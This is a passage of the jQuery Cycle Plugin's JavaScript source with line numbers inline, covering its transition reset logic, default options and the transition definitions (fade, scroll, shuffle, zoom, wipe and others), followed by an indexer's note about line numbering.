hex(rgb[2]); 958 } 959 if (v && v != 'transparent') 960 return v; 961 } 962 return '#ffffff'; 963 }; 964 $slides.each(function() { $(this).css('background-color', getBg(this)); }); 965}; 966 967// reset common props before the next transition 968$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) { 969 $(opts.elements).not(curr).hide(); 970 if (typeof opts.cssBefore.opacity == 'undefined') 971 opts.cssBefore.opacity = 1; 972 opts.cssBefore.display = 'block'; 973 if (opts.slideResize && w !== false && next.cycleW > 0) 974 opts.cssBefore.width = next.cycleW; 975 if (opts.slideResize && h !== false && next.cycleH > 0) 976 opts.cssBefore.height = next.cycleH; 977 opts.cssAfter = opts.cssAfter || {}; 978 opts.cssAfter.display = 'none'; 979 $(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0)); 980 $(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1)); 981}; 982 983// the actual fn for effecting a transition 984$.fn.cycle.custom = function(curr, next, opts, cb, fwd, speedOverride) { 985 var $l = $(curr), $n = $(next); 986 var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut; 987 $n.css(opts.cssBefore); 988 if (speedOverride) { 989 if (typeof speedOverride == 'number') 990 speedIn = speedOut = speedOverride; 991 else 992 speedIn = speedOut = 1; 993 easeIn = easeOut = null; 994 } 995 var fn = function() { 996 $n.animate(opts.animIn, speedIn, easeIn, function() { 997 cb(); 998 }); 999 }; 1000 $l.animate(opts.animOut, speedOut, easeOut, function() { 1001 $l.css(opts.cssAfter); 1002 if (!opts.sync) 1003 fn(); 1004 }); 1005 if (opts.sync) fn(); 1006}; 1007 1008// transition definitions - only fade is defined here, transition pack defines the rest 1009$.fn.cycle.transitions = { 1010 fade: function($cont, $slides, opts) { 1011 $slides.not(':eq('+opts.currSlide+')').css('opacity',0); 1012 opts.before.push(function(curr,next,opts) { 1013 $.fn.cycle.commonReset(curr,next,opts); 1014 opts.cssBefore.opacity = 0; 1015 }); 1016 opts.animIn = { opacity: 1 }; 1017 opts.animOut = { opacity: 0 }; 1018 opts.cssBefore = { top: 0, left: 0 }; 1019 } 1020}; 1021 1022$.fn.cycle.ver = function() { return ver; }; 1023 1024// override these globally if you like (they are all optional) 1025$.fn.cycle.defaults = {
1026 activePagerClass: 'activeSlide', // class name used for the active pager link 1027 after: null, // transition callback (scope set to element that was shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1028 allowPagerClickBubble: false, // allows or prevents click event on pager anchors from bubbling 1029 animIn: null, // properties that define how the slide animates in 1030 animOut: null, // properties that define how the slide animates out 1031 aspect: false, // preserve aspect ratio during fit resizing, cropping if necessary (must be used with fit option) 1032 autostop: 0, // true to end slideshow after X transitions (where X == slide count) 1033 autostopCount: 0, // number of transitions (optionally used with autostop to define X) 1034 backwards: false, // true to start slideshow at last slide and move backwards through the stack 1035 before: null, // transition callback (scope set to element to be shown): function(currSlideElement, nextSlideElement, options, forwardFlag) 1036 center: null, // set to true to have cycle add top/left margin to each slide (use with width and height options) 1037 cleartype: !$.support.opacity, // true if clearType corrections should be applied (for IE) 1038 cleartypeNoBg: false, // set to true to disable extra cleartype fixing (leave false to force background color setting on slides) 1039 containerResize: 1, // resize container to fit largest slide 1040 continuous: 0, // true to start next transition immediately after current one completes 1041 cssAfter: null, // properties that defined the state of the slide after transitioning out 1042 cssBefore: null, // properties that define the initial state of the slide before transitioning in 1043 delay: 0, // additional delay (in ms) for first transition (hint: can be negative) 1044 easeIn: null, // easing for "in" transition 1045 easeOut: null, // easing for "out" transition 1046 easing: null, // easing method for both in and out transitions 1047 end: null, // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options) 1048 fastOnEvent: 0, // force fast transitions when triggered manually (via pager or prev/next); value == time in ms 1049 fit: 0, // force slides to fit container 1050 fx: 'fade', // name of transition effect (or comma separated names, ex: 'fade,scrollUp,shuffle') 1051 fxFn: null, // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag) 1052 height: 'auto', // container height (if the 'fit' option is true, the slides will be set to this height as well) 1053 manualTrump: true, // causes manual transition to stop an active transition instead of being ignored 1054 metaAttr: 'cycle',// data- attribute that holds the option data for the slideshow 1055 next: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for next slide 1056 nowrap: 0, // true to prevent slideshow from wrapping 1057 onPagerEvent: null, // callback fn for pager events: function(zeroBasedSlideIndex, slideElement) 1058 onPrevNextEvent: null,// callback fn for prev/next events: function(isNext, zeroBasedSlideIndex, slideElement) 1059 pager: null, // element, jQuery object, or jQuery selector string for the element to use as pager container 1060 pagerAnchorBuilder: null, // callback fn for building anchor links: function(index, DOMelement) 1061 pagerEvent: 'click.cycle', // name of event which drives the pager navigation 1062 pause: 0, // true to enable "pause on hover" 1063 pauseOnPagerHover: 0, // true to pause when hovering over pager link 1064 prev: null, // element, jQuery object, or jQuery selector string for the element to use as event trigger for previous slide 1065 prevNextEvent:'click.cycle',// event which drives the manual transition to the previous or next slide 1066 random: 0, // true for random, false for sequence (not applicable to shuffle fx) 1067 randomizeEffects: 1, // valid when multiple effects are used; true to make the effect sequence random 1068 requeueOnImageNotLoaded: true, // requeue the slideshow if any image slides are not yet loaded 1069 requeueTimeout: 250, // ms delay for requeue 1070 rev: 0, // causes animations to transition in reverse (for effects that support it such as scrollHorz/scrollVert/shuffle) 1071 shuffle: null, // coords for shuffle animation, ex: { top:15, left: 200 } 1072 skipInitializationCallbacks: false, // set to true to disable the first before/after callback that occurs prior to any transition 1073 slideExpr: null, // expression for selecting slides (if something other than all children is required) 1074 slideResize: 1, // force slide width/height to fixed size before every transition 1075 speed: 1000, // speed of the transition (any valid fx speed value) 1076 speedIn: null, // speed of the 'in' transition 1077 speedOut: null, // speed of the 'out' transition 1078 startingSlide: undefined, // zero-based index of the first slide to be displayed 1079 sync: 1, // true if in/out transitions should occur simultaneously 1080 timeout: 4000, // milliseconds between slide transitions (0 to disable auto advance) 1081 timeoutFn: null, // callback for determining per-slide timeout value: function(currSlideElement, nextSlideElement, options, forwardFlag) 1082 updateActivePagerLink: null, // callback fn invoked to update the active pager link (adds/removes activePagerClass style) 1083 width: null // container width (if the 'fit' option is true, the slides will be set to this width as well) 1084}; 1085 1086})(jQuery); 1087 1088 1089/*! 1090 * jQuery Cycle Plugin Transition Definitions 1091 * This script is a plugin for the jQuery Cycle Plugin 1092 * Examples and documentation at: http://malsup.com/jquery/cycle/ 1093 * Copyright (c) 2007-2010 M. Alsup 1094 * Version: 2.73 1095 * Dual licensed under the MIT and GPL licenses: 1096 * http://www.opensource.org/licenses/mit-license.php 1097 * http://www.gnu.org/licenses/gpl.html 1098 */ 1099(function($) { 1100 1101// 1102// These functions define slide initialization and properties for the named 1103// transitions. To save file size feel free to remove any of these that you 1104// don't need. 1105// 1106$.fn.cycle.transitions.none = function($cont, $slides, opts) { 1107 opts.fxFn = function(curr,next,opts,after){
1108 $(next).show(); 1109 $(curr).hide(); 1110 after(); 1111 }; 1112}; 1113 1114// not a cross-fade, fadeout only fades out the top slide 1115$.fn.cycle.transitions.fadeout = function($cont, $slides, opts) { 1116 $slides.not(':eq('+opts.currSlide+')').css({ display: 'block', 'opacity': 1 }); 1117 opts.before.push(function(curr,next,opts,w,h,rev) { 1118 $(curr).css('zIndex',opts.slideCount + (!rev === true ? 1 : 0)); 1119 $(next).css('zIndex',opts.slideCount + (!rev === true ? 0 : 1)); 1120 }); 1121 opts.animIn.opacity = 1; 1122 opts.animOut.opacity = 0; 1123 opts.cssBefore.opacity = 1; 1124 opts.cssBefore.display = 'block'; 1125 opts.cssAfter.zIndex = 0; 1126}; 1127 1128// scrollUp/Down/Left/Right 1129$.fn.cycle.transitions.scrollUp = function($cont, $slides, opts) { 1130 $cont.css('overflow','hidden'); 1131 opts.before.push($.fn.cycle.commonReset); 1132 var h = $cont.height(); 1133 opts.cssBefore.top = h; 1134 opts.cssBefore.left = 0; 1135 opts.cssFirst.top = 0; 1136 opts.animIn.top = 0; 1137 opts.animOut.top = -h; 1138}; 1139$.fn.cycle.transitions.scrollDown = function($cont, $slides, opts) { 1140 $cont.css('overflow','hidden'); 1141 opts.before.push($.fn.cycle.commonReset); 1142 var h = $cont.height(); 1143 opts.cssFirst.top = 0; 1144 opts.cssBefore.top = -h; 1145 opts.cssBefore.left = 0; 1146 opts.animIn.top = 0; 1147 opts.animOut.top = h; 1148}; 1149$.fn.cycle.transitions.scrollLeft = function($cont, $slides, opts) { 1150 $cont.css('overflow','hidden'); 1151 opts.before.push($.fn.cycle.commonReset); 1152 var w = $cont.width(); 1153 opts.cssFirst.left = 0; 1154 opts.cssBefore.left = w; 1155 opts.cssBefore.top = 0; 1156 opts.animIn.left = 0; 1157 opts.animOut.left = 0-w; 1158}; 1159$.fn.cycle.transitions.scrollRight = function($cont, $slides, opts) { 1160 $cont.css('overflow','hidden'); 1161 opts.before.push($.fn.cycle.commonReset); 1162 var w = $cont.width(); 1163 opts.cssFirst.left = 0; 1164 opts.cssBefore.left = -w; 1165 opts.cssBefore.top = 0; 1166 opts.animIn.left = 0; 1167 opts.animOut.left = w; 1168}; 1169$.fn.cycle.transitions.scrollHorz = function($cont, $slides, opts) { 1170 $cont.css('overflow','hidden').width(); 1171 opts.before.push(function(curr, next, opts, fwd) { 1172 if (opts.rev) 1173 fwd = !fwd; 1174 $.fn.cycle.commonReset(curr,next,opts); 1175 opts.cssBefore.left = fwd ? (next.cycleW-1) : (1-next.cycleW); 1176 opts.animOut.left = fwd ? -curr.cycleW : curr.cycleW; 1177 }); 1178 opts.cssFirst.left = 0; 1179 opts.cssBefore.top = 0; 1180 opts.animIn.left = 0; 1181 opts.animOut.top = 0; 1182}; 1183$.fn.cycle.transitions.scrollVert = function($cont, $slides, opts) { 1184 $cont.css('overflow','hidden'); 1185 opts.before.push(function(curr, next, opts, fwd) { 1186 if (opts.rev) 1187 fwd = !fwd; 1188 $.fn.cycle.commonReset(curr,next,opts); 1189 opts.cssBefore.top = fwd ? (1-next.cycleH) : (next.cycleH-1); 1190 opts.animOut.top = fwd ? curr.cycleH : -curr.cycleH; 1191 }); 1192 opts.cssFirst.top = 0; 1193 opts.cssBefore.left = 0; 1194 opts.animIn.top = 0; 1195 opts.animOut.left = 0; 1196}; 1197 1198// slideX/slideY 1199$.fn.cycle.transitions.slideX = function($cont, $slides, opts) { 1200 opts.before.push(function(curr, next, opts) { 1201 $(opts.elements).not(curr).hide(); 1202 $.fn.cycle.commonReset(curr,next,opts,false,true); 1203 opts.animIn.width = next.cycleW; 1204 }); 1205 opts.cssBefore.left = 0; 1206 opts.cssBefore.top = 0; 1207 opts.cssBefore.width = 0; 1208 opts.animIn.width = 'show'; 1209 opts.animOut.width = 0; 1210}; 1211$.fn.cycle.transitions.slideY = function($cont, $slides, opts) { 1212 opts.before.push(function(curr, next, opts) { 1213 $(opts.elements).not(curr).hide(); 1214 $.fn.cycle.commonReset(curr,next,opts,true,false); 1215 opts.animIn.height = next.cycleH; 1216 }); 1217 opts.cssBefore.left = 0; 1218 opts.cssBefore.top = 0; 1219 opts.cssBefore.height = 0; 1220 opts.animIn.height = 'show'; 1221 opts.animOut.height = 0; 1222}; 1223 1224// shuffle 1225$.fn.cycle.transitions.shuffle = function($cont, $slides, opts) { 1226 var i, w = $cont.css('overflow', 'visible').width(); 1227 $slides.css({left: 0, top: 0}); 1228 opts.before.push(function(curr,next,opts) { 1229 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1230 }); 1231 // only adjust speed once! 1232 if (!opts.speedAdjusted) { 1233 opts.speed = opts.speed / 2; // shuffle has 2 transitions 1234 opts.speedAdjusted = true; 1235 } 1236 opts.random = 0; 1237 opts.shuffle = opts.shuffle || {left:-w, top:15}; 1238 opts.els = []; 1239 for (i=0; i < $slides.length; i++) 1240 opts.els.push($slides[i]); 1241 1242 for (i=0; i < opts.currSlide; i++) 1243 opts.els.push(opts.els.shift()); 1244 1245 // custom transition fn (hat tip to Benjamin Sterling for this bit of sweetness!) 1246 opts.fxFn = function(curr, next, opts, cb, fwd) { 1247 if (opts.rev) 1248 fwd = !fwd; 1249 var $el = fwd ? $(curr) : $(next); 1250 $(next).css(opts.cssBefore); 1251 var count = opts.slideCount; 1252 $el.animate(opts.shuffle, opts.speedIn, opts.easeIn, function() { 1253 var hops = $.fn.cycle.hopsFromLast(opts, fwd); 1254 for (var k=0; k < hops; k++) 1255 fwd ? opts.els.push(opts.els.shift()) : opts.els.unshift(opts.els.pop()); 1256 if (fwd) { 1257 for (var i=0, len=opts.els.length; i < len; i++) 1258 $(opts.els[i]).css('z-index', len-i+count); 1259 } 1260 else { 1261 var z = $(curr).css('z-index'); 1262 $el.css('z-index', parseInt(z,10)+1+count); 1263 } 1264 $el.animate({left:0, top:0}, opts.speedOut, opts.easeOut, function() {
1265 $(fwd ? this : curr).hide(); 1266 if (cb) cb(); 1267 }); 1268 }); 1269 }; 1270 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1271}; 1272 1273// turnUp/Down/Left/Right 1274$.fn.cycle.transitions.turnUp = function($cont, $slides, opts) { 1275 opts.before.push(function(curr, next, opts) { 1276 $.fn.cycle.commonReset(curr,next,opts,true,false); 1277 opts.cssBefore.top = next.cycleH; 1278 opts.animIn.height = next.cycleH; 1279 opts.animOut.width = next.cycleW; 1280 }); 1281 opts.cssFirst.top = 0; 1282 opts.cssBefore.left = 0; 1283 opts.cssBefore.height = 0; 1284 opts.animIn.top = 0; 1285 opts.animOut.height = 0; 1286}; 1287$.fn.cycle.transitions.turnDown = function($cont, $slides, opts) { 1288 opts.before.push(function(curr, next, opts) { 1289 $.fn.cycle.commonReset(curr,next,opts,true,false); 1290 opts.animIn.height = next.cycleH; 1291 opts.animOut.top = curr.cycleH; 1292 }); 1293 opts.cssFirst.top = 0; 1294 opts.cssBefore.left = 0; 1295 opts.cssBefore.top = 0; 1296 opts.cssBefore.height = 0; 1297 opts.animOut.height = 0; 1298}; 1299$.fn.cycle.transitions.turnLeft = function($cont, $slides, opts) { 1300 opts.before.push(function(curr, next, opts) { 1301 $.fn.cycle.commonReset(curr,next,opts,false,true); 1302 opts.cssBefore.left = next.cycleW; 1303 opts.animIn.width = next.cycleW; 1304 }); 1305 opts.cssBefore.top = 0; 1306 opts.cssBefore.width = 0; 1307 opts.animIn.left = 0; 1308 opts.animOut.width = 0; 1309}; 1310$.fn.cycle.transitions.turnRight = function($cont, $slides, opts) { 1311 opts.before.push(function(curr, next, opts) { 1312 $.fn.cycle.commonReset(curr,next,opts,false,true); 1313 opts.animIn.width = next.cycleW; 1314 opts.animOut.left = curr.cycleW; 1315 }); 1316 $.extend(opts.cssBefore, { top: 0, left: 0, width: 0 }); 1317 opts.animIn.left = 0; 1318 opts.animOut.width = 0; 1319}; 1320 1321// zoom 1322$.fn.cycle.transitions.zoom = function($cont, $slides, opts) { 1323 opts.before.push(function(curr, next, opts) { 1324 $.fn.cycle.commonReset(curr,next,opts,false,false,true); 1325 opts.cssBefore.top = next.cycleH/2; 1326 opts.cssBefore.left = next.cycleW/2; 1327 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1328 $.extend(opts.animOut, { width: 0, height: 0, top: curr.cycleH/2, left: curr.cycleW/2 }); 1329 }); 1330 opts.cssFirst.top = 0; 1331 opts.cssFirst.left = 0; 1332 opts.cssBefore.width = 0; 1333 opts.cssBefore.height = 0; 1334}; 1335 1336// fadeZoom 1337$.fn.cycle.transitions.fadeZoom = function($cont, $slides, opts) { 1338 opts.before.push(function(curr, next, opts) { 1339 $.fn.cycle.commonReset(curr,next,opts,false,false); 1340 opts.cssBefore.left = next.cycleW/2; 1341 opts.cssBefore.top = next.cycleH/2; 1342 $.extend(opts.animIn, { top: 0, left: 0, width: next.cycleW, height: next.cycleH }); 1343 }); 1344 opts.cssBefore.width = 0; 1345 opts.cssBefore.height = 0; 1346 opts.animOut.opacity = 0; 1347}; 1348 1349// blindX 1350$.fn.cycle.transitions.blindX = function($cont, $slides, opts) { 1351 var w = $cont.css('overflow','hidden').width(); 1352 opts.before.push(function(curr, next, opts) { 1353 $.fn.cycle.commonReset(curr,next,opts); 1354 opts.animIn.width = next.cycleW; 1355 opts.animOut.left = curr.cycleW; 1356 }); 1357 opts.cssBefore.left = w; 1358 opts.cssBefore.top = 0; 1359 opts.animIn.left = 0; 1360 opts.animOut.left = w; 1361}; 1362// blindY 1363$.fn.cycle.transitions.blindY = function($cont, $slides, opts) { 1364 var h = $cont.css('overflow','hidden').height(); 1365 opts.before.push(function(curr, next, opts) { 1366 $.fn.cycle.commonReset(curr,next,opts); 1367 opts.animIn.height = next.cycleH; 1368 opts.animOut.top = curr.cycleH; 1369 }); 1370 opts.cssBefore.top = h; 1371 opts.cssBefore.left = 0; 1372 opts.animIn.top = 0; 1373 opts.animOut.top = h; 1374}; 1375// blindZ 1376$.fn.cycle.transitions.blindZ = function($cont, $slides, opts) { 1377 var h = $cont.css('overflow','hidden').height(); 1378 var w = $cont.width(); 1379 opts.before.push(function(curr, next, opts) { 1380 $.fn.cycle.commonReset(curr,next,opts); 1381 opts.animIn.height = next.cycleH; 1382 opts.animOut.top = curr.cycleH; 1383 }); 1384 opts.cssBefore.top = h; 1385 opts.cssBefore.left = w; 1386 opts.animIn.top = 0; 1387 opts.animIn.left = 0; 1388 opts.animOut.top = h; 1389 opts.animOut.left = w; 1390}; 1391 1392// growX - grow horizontally from centered 0 width 1393$.fn.cycle.transitions.growX = function($cont, $slides, opts) { 1394 opts.before.push(function(curr, next, opts) { 1395 $.fn.cycle.commonReset(curr,next,opts,false,true); 1396 opts.cssBefore.left = this.cycleW/2; 1397 opts.animIn.left = 0; 1398 opts.animIn.width = this.cycleW; 1399 opts.animOut.left = 0; 1400 }); 1401 opts.cssBefore.top = 0; 1402 opts.cssBefore.width = 0; 1403}; 1404// growY - grow vertically from centered 0 height 1405$.fn.cycle.transitions.growY = function($cont, $slides, opts) { 1406 opts.before.push(function(curr, next, opts) { 1407 $.fn.cycle.commonReset(curr,next,opts,true,false); 1408 opts.cssBefore.top = this.cycleH/2; 1409 opts.animIn.top = 0; 1410 opts.animIn.height = this.cycleH; 1411 opts.animOut.top = 0; 1412 }); 1413 opts.cssBefore.height = 0; 1414 opts.cssBefore.left = 0; 1415}; 1416 1417// curtainX - squeeze in both edges horizontally 1418$.fn.cycle.transitions.curtainX = function($cont, $slides, opts) { 1419 opts.before.push(function(curr, next, opts) { 1420 $.fn.cycle.commonReset(curr,next,opts,false,true,true); 1421 opts.cssBefore.left = next.cycleW/2; 1422 opts.animIn.left = 0; 1423 opts.animIn.width = this.cycleW; 1424 opts.animOut.left = curr.cycleW/2; 1425 opts.animOut.width = 0; 1426 }); 1427 opts.cssBefore.top = 0; 1428 opts.cssBefore.width = 0; 1429}; 1430// curtainY - squeeze in both edges vertically 1431$.fn.cycle.transitions.curtainY = function($cont, $slides, opts) { 1432 opts.before.push(function(curr, next, opts) { 1433 $.fn.cycle.commonReset(curr,next,opts,true,false,true); 1434 opts.cssBefore.top = next.cycleH/2; 1435 opts.animIn.top = 0; 1436 opts.animIn.height = next.cycleH; 1437 opts.animOut.top = curr.cycleH/2; 1438 opts.animOut.height = 0; 1439 }); 1440 opts.cssBefore.height = 0; 1441 opts.cssBefore.left = 0; 1442}; 1443 1444// cover - curr slide covered by next slide 1445$.fn.cycle.transitions.cover = function($cont, $slides, opts) { 1446 var d = opts.direction || 'left'; 1447 var w = $cont.css('overflow','hidden').width(); 1448 var h = $cont.height(); 1449 opts.before.push(function(curr, next, opts) { 1450 $.fn.cycle.commonReset(curr,next,opts); 1451 if (d == 'right') 1452 opts.cssBefore.left = -w; 1453 else if (d == 'up') 1454 opts.cssBefore.top = h; 1455 else if (d == 'down') 1456 opts.cssBefore.top = -h; 1457 else 1458 opts.cssBefore.left = w; 1459 }); 1460 opts.animIn.left = 0; 1461 opts.animIn.top = 0; 1462 opts.cssBefore.top = 0; 1463 opts.cssBefore.left = 0; 1464}; 1465 1466// uncover - curr slide moves off next slide 1467$.fn.cycle.transitions.uncover = function($cont, $slides, opts) { 1468 var d = opts.direction || 'left'; 1469 var w = $cont.css('overflow','hidden').width(); 1470 var h = $cont.height(); 1471 opts.before.push(function(curr, next, opts) { 1472 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1473 if (d == 'right') 1474 opts.animOut.left = w; 1475 else if (d == 'up') 1476 opts.animOut.top = -h; 1477 else if (d == 'down') 1478 opts.animOut.top = h; 1479 else 1480 opts.animOut.left = -w; 1481 }); 1482 opts.animIn.left = 0; 1483 opts.animIn.top = 0; 1484 opts.cssBefore.top = 0; 1485 opts.cssBefore.left = 0; 1486}; 1487 1488// toss - move top slide and fade away 1489$.fn.cycle.transitions.toss = function($cont, $slides, opts) { 1490 var w = $cont.css('overflow','visible').width(); 1491 var h = $cont.height(); 1492 opts.before.push(function(curr, next, opts) { 1493 $.fn.cycle.commonReset(curr,next,opts,true,true,true); 1494 // provide default toss settings if animOut not provided 1495 if (!opts.animOut.left && !opts.animOut.top) 1496 $.extend(opts.animOut, { left: w*2, top: -h/2, opacity: 0 }); 1497 else 1498 opts.animOut.opacity = 0; 1499 }); 1500 opts.cssBefore.left = 0; 1501 opts.cssBefore.top = 0; 1502 opts.animIn.left = 0; 1503}; 1504 1505// wipe - clip animation 1506$.fn.cycle.transitions.wipe = function($cont, $slides, opts) { 1507 var w = $cont.css('overflow','hidden').width(); 1508 var h = $cont.height(); 1509 opts.cssBefore = opts.cssBefore || {}; 1510 var clip; 1511 if (opts.clip) { 1512 if (/l2r/.test(opts.clip)) 1513 clip = 'rect(0px 0px '+h+'px 0px)'; 1514 else if (/r2l/.test(opts.clip)) 1515 clip = 'rect(0px '+w+'px '+h+'px '+w+'px)'; 1516 else if (/t2b/.test(opts.clip)) 1517 clip = 'rect(0px '+w+'px 0px 0px)'; 1518 else if (/b2t/.test(opts.clip)) 1519 clip = 'rect('+h+'px '+w+'px '+h+'px 0px)'; 1520 else if (/zoom/.test(opts.clip)) { 1521 var top = parseInt(h/2,10); 1522 var left = parseInt(w/2,10); 1523 clip = 'rect('+top+'px '+left+'px '+top+'px '+left+'px)'; 1524 } 1525 } 1526 1527 opts.cssBefore.clip = opts.cssBefore.clip || clip || 'rect(0px 0px 0px 0px)'; 1528 1529 var d = opts.cssBefore.clip.match(/(\d+)/g); 1530 var t = parseInt(d[0],10), r = parseInt(d[1],10), b = parseInt(d[2],10), l = parseInt(d[3],10); 1531 1532 opts.before.push(function(curr, next, opts) { 1533 if (curr == next) return; 1534 var $curr = $(curr), $next = $(next); 1535 $.fn.cycle.commonReset(curr,next,opts,true,true,false); 1536 opts.cssAfter.display = 'block'; 1537 1538 var step = 1, count = parseInt((opts.speedIn / 13),10) - 1; 1539 (function f() { 1540 var tt = t ? t - parseInt(step * (t/count),10) : 0; 1541 var ll = l ? l - parseInt(step * (l/count),10) : 0; 1542 var bb = b < h ? b + parseInt(step * ((h-b)/count || 1),10) : h; 1543 var rr = r < w ? r + parseInt(step * ((w-r)/count || 1),10) : w; 1544 $next.css({ clip: 'rect('+tt+'px '+rr+'px '+bb+'px '+ll+'px)' }); 1545 (step++ <= count) ? setTimeout(f, 13) : $curr.css('display', 'none'); 1546 })();
1547 }); 1548 $.extend(opts.cssBefore, { display: 'block', opacity: 1, top: 0, left: 0 }); 1549 opts.animIn = { left: 0 }; 1550 opts.animOut = { left: 0 }; 1551}; 1552 1553})(jQuery);
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.